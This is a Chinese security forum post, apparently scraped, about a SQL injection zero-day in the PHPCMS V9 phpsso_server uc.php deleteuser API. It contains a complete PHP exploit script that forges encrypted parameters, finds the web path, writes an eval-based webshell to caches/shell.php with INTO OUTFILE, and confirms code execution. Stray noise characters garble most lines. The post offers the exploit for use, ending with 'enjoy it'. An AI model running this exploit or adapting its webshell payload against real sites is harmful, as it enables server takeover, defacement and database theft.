PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。- h; n8 T- |3 m, _
1 H& C$ _5 X9 w7 j所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。2 k" m; ^" j' h* t- j7 Z- G
9 e, {$ \% J% [, w* c
漏洞分析:
" }/ W6 \! r4 h' N1.未启用ucenter服务的情况下uc_key为空
7 p, S, c3 h: L8 Mdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));3 ^5 j. @( Z1 |2 b( A/ F4 J
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
) I& a2 o) H# w public function deleteuser($get,$post) {
- M. k+ G. u4 C! n/ `+ [+ } pc_base::load_app_func('global', 'admin');
! \- Y- J) b+ ?+ [/ J0 S pc_base::load_app_class('messagequeue', 'admin' , 0);
; X' X6 A) \) q( P- w# g* t6 R# b8 e $ids = new_stripslashes($get['ids']);
5 ~% a4 b/ q# }$ A3 M* F $s = $this->member_db->select("ucuserid in ($ids)", "uid");8 C0 Z/ y. m" q: _0 i
SQL语句为6 w& N' T1 q# D. G7 {# D
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)7 b: T1 e$ x2 ~; M* F8 C( m, e) }. O
; H$ M% B7 Y3 V+ R& W6 J利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell& W; d8 H, s6 G" y* @
<?php
' I( i. P" l# x- q% k* x9 W' Z8 l4 nprint_r('3 L- m" y( @5 Z* ~1 D2 N
---------------------------------------------------------------------------
9 }" Q) i* m! m$ `PHPcms (v9 or Old Version) uc api sql injection 0day k1 R$ `: m* d+ D
by rayh4c#80sec.com
( p% x' s- t1 M# |" V9 B+ ~& ]" G--------------------------------------------------------------------------- M3 _# L# C9 j6 i; E9 s* e+ s
');
* {' i+ h* f6 J2 X' a# m i/ B- x! E! j% R! n% k
if ($argc<3) {1 o! Q2 S' I, i. K
print_r('8 ]/ G# t" \9 c% Y3 ~# W9 ]
---------------------------------------------------------------------------0 S, W2 e; \; ~* c! S* U
Usage: php '.$argv[0].' host path OPTIONS
. @7 E2 N; K4 ohost: target server (ip/hostname)
) M9 `9 y+ p+ S4 Dpath: path to phpcms
4 v" f0 u0 C9 R* g4 AOptions:6 A" R% c5 r. M
-p[port]: specify a port other than 802 |3 ?& m- T4 G/ n0 T
-P[ip:port]: specify a proxy8 @- X$ ~% ~# I
Example:9 [9 Y. q' v4 M; s$ K
php '.$argv[0].' localhost /
3 N& X; v3 z( n% Y7 C6 J! |: O' ophp '.$argv[0].' localhost /phpcms/ -p818 W8 C9 @& M' M' M3 E9 h0 a9 C
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
0 H6 h' y8 I( u" |; e& O: x. v2 F, D---------------------------------------------------------------------------
& Y( c# E* H7 T/ o* O$ T4 o, c5 W');8 j& _$ r& O* a2 ^/ ]( p, a3 j8 C
die;
+ ~8 A1 Q" g5 ^0 g& V& u& r1 n5 m}
2 b3 `1 P w' S! C; \ }
0 l( R- p8 w& x3 R. lerror_reporting(7);
z# s8 a! x- @; K; b d* q- mini_set("max_execution_time",0);
7 F! Q( L# z* d5 }. kini_set("default_socket_timeout",5);
# j! [- N9 l) L: ~$ O5 a
) `8 x: K2 k' H6 e' j8 Gfunction quick_dump($string): Z! @5 g. Y* @3 G' E& U' K( y% {/ u
{$ C9 }; k( [2 h5 x9 J [
$result='';$exa='';$cont=0; N0 d7 i1 S* \3 S$ u% ^: ~: h- y
for ($i=0; $i<=strlen($string)-1; $i++)/ N5 k9 _. {4 r. s. j* w
{0 V2 o3 w% R$ c* X% h! m
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))3 i9 ?; M, m% s# Y
{$result.=" .";}
" i" t, [4 S, s$ C* Z3 o: z2 H else9 \0 w. W" Y. f3 ?
{$result.=" ".$string[$i];}
. o/ k* s" _& [- [; |% q) Z if (strlen(dechex(ord($string[$i])))==2)- q9 Z' Q/ L5 w7 | d6 @0 K" [
{$exa.=" ".dechex(ord($string[$i]));}' V0 ^ c. P$ `& F& H
else# ] `9 E* Y8 E6 P
{$exa.=" 0".dechex(ord($string[$i]));}
4 h z! ]8 }% }+ k/ w6 q $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
( e8 B6 p* W& ~" V }3 N/ j: q! l4 Y; W
return $exa."\r\n".$result;
5 S2 {5 i3 W0 B; U/ v2 o! u V}( ~+ g4 ?" I/ y$ I0 O
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
6 W+ A# i, a4 b+ A6 K5 U$ Q. R4 @ S8 q' ^
function send($packet)9 i$ K) o7 z" j9 U
{
2 e; x& o* a5 T9 y3 b global $proxy, $host, $port, $html, $proxy_regex;: T, V) @3 {+ i) ?# [4 s
if ($proxy=='') {" a% v' Y' c' [* b
$ock=fsockopen(gethostbyname($host),$port);
* W. Y# P/ Y/ ]1 l" s- A! u' x if (!$ock) {
) H/ `- w2 f& F: O- G" z- [6 J echo 'No response from '.$host.':'.$port; die; r$ [/ q$ {* ]
}( A% s4 Q6 o5 I9 J; x- s* }
}
. Y9 Q$ F9 U# s& ? else {! w ]" {$ ]3 n/ ^2 s3 f
$c = preg_match($proxy_regex,$proxy);' G# W' F: b7 P$ w. f
if (!$c) {. ~$ b2 y3 x# q' T
echo 'Not a valid proxy...';die;) \1 o6 `8 q9 q$ ^8 `1 u
}
4 m5 L8 A, _! k3 G& L5 {5 Q- { $parts=explode(':',$proxy);% V/ W( [/ D7 b% ~* b
$parts[1]=(int)$parts[1];
4 o) t6 ~9 u( ?8 z: G echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ F2 m5 Y# Y2 t0 h ^% |
$ock=fsockopen($parts[0],$parts[1]);
+ E/ j7 e6 @' T5 H% c+ P if (!$ock) {8 S( e8 ]/ x/ J# K
echo 'No response from proxy...';die;
. H2 F1 \( X4 T; G8 [* U }5 { o1 m! W. G6 ~/ a
}1 u: ~8 w5 X* v, W/ n
fputs($ock,$packet);- H3 x" d! K; ]4 J8 S
if ($proxy=='') {# A8 b- u& p$ z: |; u3 e9 A0 F0 g
$html='';$ \. c* R6 j& e% y- G
while (!feof($ock)) {' i% @* X5 K* w8 o: X+ T% l
$html.=fgets($ock);; l1 D0 ^: v! B: B
}5 y _6 W: G" Z( ~" _2 [
}
! ~& U) }0 m5 M' d9 d ~ else {- D1 Z: n, S; Q$ U2 c9 p
$html='';
& y" n/ A: U; Q0 z4 Z" Y while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {; e' V+ w( I+ C7 S, u! U! m7 I
$html.=fread($ock,1);
9 _ U. _7 L8 i& u" {9 R/ a9 [ }
% Y Q1 P/ x- v }6 e9 Y* F) M9 \, ]& p7 ^
fclose($ock);" d; L1 `3 ^' ^$ \
}
5 B' O' k9 i( H" t8 K. r! ~! o& h0 y* I2 b5 w
$host=$argv[1];
1 V( s" ]( l, y( S, I9 t6 U$path=$argv[2];7 p7 M5 F/ S* H0 J$ x. |1 D4 ~
$port=80;+ ^' w+ v6 ~ w$ {2 r
$proxy="";" W; z l7 z: u- T
for ($i=3; $i<$argc; $i++){+ [, h* z+ ^! Z2 X+ Z4 Y$ {7 L
$temp=$argv[$i][0].$argv[$i][1];# e3 U6 F+ Q+ H
if ($temp=="-p")
/ C* z' r/ K! {5 F' A( b3 q{
* T' n r0 I. ^' o0 ]/ Q $port=(int)str_replace("-p","",$argv[$i]);
& j, \& M+ S, O2 V}4 D/ v2 X4 l6 y4 i) l
if ($temp=="-P")
* D1 `. F# S* n E. F. C{
0 g% N9 S$ e5 r4 R; Q Z4 y $proxy=str_replace("-P","",$argv[$i]);/ M2 U6 n+ }- H, b4 |& U8 Y0 b
}- K2 P# D2 g8 D( A* Q
}( H( T1 @9 q( L* F
; T# h$ ]" Q+ K% ?9 v( ?/ Hif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}8 {: S1 N0 S1 E( I$ s( S. D7 `
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
0 }! {# D" f, k7 @' b [6 `% w. H; q8 N A# }. V0 B4 i; \
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
7 g) [5 F2 Y3 S4 E
' A6 {0 s j: L" y @- Q: @ $ckey_length = 4;
0 i* r- f' b0 `; ]/ q2 R$ T0 N! E( x" @! F
$key = md5($key ? $key : '');3 N" I0 A! U' W+ K# |, ^
$keya = md5(substr($key, 0, 16));
' e+ W- w, H9 ^ ~ $keyb = md5(substr($key, 16, 16));. n% z7 ~( r+ e& |% `6 q
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';: a7 ` e6 o: U
4 N9 _% c/ B9 i% s$ M $cryptkey = $keya.md5($keya.$keyc);: G; h& w2 t1 m' b& q. J; \
$key_length = strlen($cryptkey);
. y+ M/ J3 Q, X# V. B$ m9 u6 J' z0 K* ]- T) j+ c$ ?' k
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;* [; H) t. H4 S# F
$string_length = strlen($string);1 d m9 U8 m: t
9 f! A7 b* ~3 a; e9 h $result = '';
7 t+ ^- i- z- K* C7 a $box = range(0, 255);
$ y$ s1 g6 Y5 i0 L& L" v0 `
) N) Q- m7 {1 r3 m $rndkey = array();
0 y& q/ I* I! l1 T& Z [7 H9 Q for($i = 0; $i <= 255; $i++) {
/ w. r3 _. Z+ P1 H" K $rndkey[$i] = ord($cryptkey[$i % $key_length]);# ~' q. L3 k+ Q8 u
}0 N/ q/ a7 ]) D1 S- C4 _6 g( u
1 T1 ]+ l. K, q# D for($j = $i = 0; $i < 256; $i++) {
6 M0 z1 i* }' f1 E3 w; C+ g $j = ($j + $box[$i] + $rndkey[$i]) % 256;
# Y$ h# @ R- n4 h) N( H $tmp = $box[$i];, [: m5 w& U0 |4 A6 C, f( M
$box[$i] = $box[$j];$ {" X9 j* \6 b
$box[$j] = $tmp;8 ]- q9 h# u) N( n
}
" O1 A) x1 m) |9 ]( h5 d- h& ]2 T; `% m, x- ]
for($a = $j = $i = 0; $i < $string_length; $i++) {6 Z& g* L7 Y( K, z+ W8 f, N/ ^3 M/ _
$a = ($a + 1) % 256;2 C# S* _9 n8 X& _7 d
$j = ($j + $box[$a]) % 256;( Y7 n; g1 K( e( l- ]
$tmp = $box[$a];
7 I4 y! ?* o U0 ^ $box[$a] = $box[$j];2 D7 R1 S& |, r4 o# D3 f% P
$box[$j] = $tmp;8 J8 q1 w+ {! k
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));, Q; C5 G. L1 {* D1 ?* f
}' g/ o' n3 ]# l0 C' K) w: u
4 v/ a( Q/ k* j( Y; u: D7 H2 W& ]
if($operation == 'DECODE') {
# f' \5 [3 B8 U8 p# n. v if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {$ n) E/ H( L c1 P4 \$ M
return substr($result, 26);
, l! G2 ~* j# k) w } else {
4 k- T7 K6 v" z7 ~1 y' C' P return '';
/ b: o% W) X" a+ @ }7 R: Q; I1 C" T) K/ u6 M3 W
} else {, z$ N9 [# f4 y* x4 U; b5 M0 u1 E9 |
return $keyc.str_replace('=', '', base64_encode($result));
, C" c3 H; o% Y& t( q6 f }
0 a/ A [: C1 z: q! L* Q- n% j8 K# p2 b: U4 u. T" m- |4 \6 l' V1 D
}9 U: x" `; {8 Z/ A6 \" m
/ D+ }5 t- V4 z2 [: Q7 ~
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
i* r# L% |" e; p- Q) k$SQL = urlencode(authcode($SQL, "ENCODE", ""));9 D4 i7 z* E0 I0 q2 x
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n"; \0 L/ U8 B5 ~5 ^
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";9 u; R! N' @: q' }$ v% | c
$packet.="User-Agent: Mozilla/5.0\r\n";
5 ~2 J& T& J6 c) T6 c( O$packet.="Host: ".$host."\r\n";8 u" V) B/ b Z, P
$packet.="Connection: Close\r\n\r\n";7 F( l6 G. u. A2 g$ D* g
send($packet);7 D- A0 o2 G/ x; w
if(strpos($html,"MySQL Errno") > 0){# z7 O: b& i: B
echo "[2] 发现存在SQL注入漏洞"."\n";1 T' _( k1 ~" j, E# _1 `
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";) j) U% }! B- \
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
* J+ G5 r1 F o N, \! ~1 X) d$packet.="User-Agent: Mozilla/5.0\r\n";
& c4 |3 x$ _7 _% q0 R6 N$packet.="Host: ".$host."\r\n";
$ L2 B( H" B$ x: l) X; {$packet.="Connection: Close\r\n\r\n";
% C+ h2 v0 h( B+ P# q5 zsend($packet);
% ^, i7 `8 k4 M. ?, E3 rpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
& x8 N8 M a7 Y- G/ _//print_r($matches);
3 D. ]) t3 a; |) A# R9 ^% B& Lif(!empty($matches)){) l, c5 Y f; I
echo "[4] 得到web路径 " . $matches[0]."\n";
6 n) ~7 ^ r* Y3 B: [* m# wecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
2 y# h" e' R; X. Z! S# o$SQL = "time=999999999999999999999999&ids=1)";
% L% f3 w3 Z) E. E" e9 T8 x8 V$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
& z/ Z, |+ H* W$SQL.="&action=deleteuser";
; I8 }" e; `1 j$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 d+ X6 S/ w. M, v
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
: z. Y: ~4 E3 u5 b5 O/ ?$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- }9 y' _/ f, |: i F7 q$packet.="User-Agent: Mozilla/5.0\r\n";
0 f. I1 H9 |3 l. {+ P$packet.="Host: ".$host."\r\n";1 O. C5 D* a# Z4 Q9 ~" ]: Z( u' N7 H
$packet.="Connection: Close\r\n\r\n";; n0 B0 U. N8 Z# G, H. O- g2 P; i
send($packet);
& i! ]0 V# P8 X1 R# e3 ^" Xif(strpos($html,"Access denied") > 0){
- ~5 M+ _& H/ D) x) z- D! Zecho "[-] MYSQL权限过低 禁止写入文件 ";
; G% ? M% N0 G/ k! {' F: D6 Idie;
* Y6 I% F: l# W4 S) L}7 R" |, h5 O/ H% b; W
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";/ K) B& R- q' i" X! ?7 ]
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";% ?9 k) h+ L, l- i' I/ D
$packet.="User-Agent: Mozilla/5.0\r\n";9 Y# `, k0 r* T- D
$packet.="Host: ".$host."\r\n";0 I' @6 [9 k+ ? w
$packet.="Connection: Close\r\n\r\n";" t. G7 u: ]! d7 v: A
send($packet);
# B: G! ^. e- S/ z# U8 o; ]if(strpos($html,"<title>phpinfo()</title>") > 0){0 w5 }4 P- ^) }0 m
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";6 ?4 h' G5 m% Q# u. Q) _
}
8 ^2 T0 G% v+ s- m5 k: a}else{
0 Q0 m8 }( O% {7 K) R6 Uecho "[-]未取到web路径 ";
: ~9 h' p/ P) n7 e}) F3 y; H' L+ r7 x/ E; l
}else{
% [- \0 b: x2 V: D7 gecho "[*]不存在SQL注入漏洞"."\n";( `+ K& v/ Z! X. d g2 O
}0 g. o: `3 F- H% G( k
; ?* Z$ v U2 w& ^7 r( V; q$ C?>! Y/ k6 n5 t0 a4 ~7 ~; i( ~
|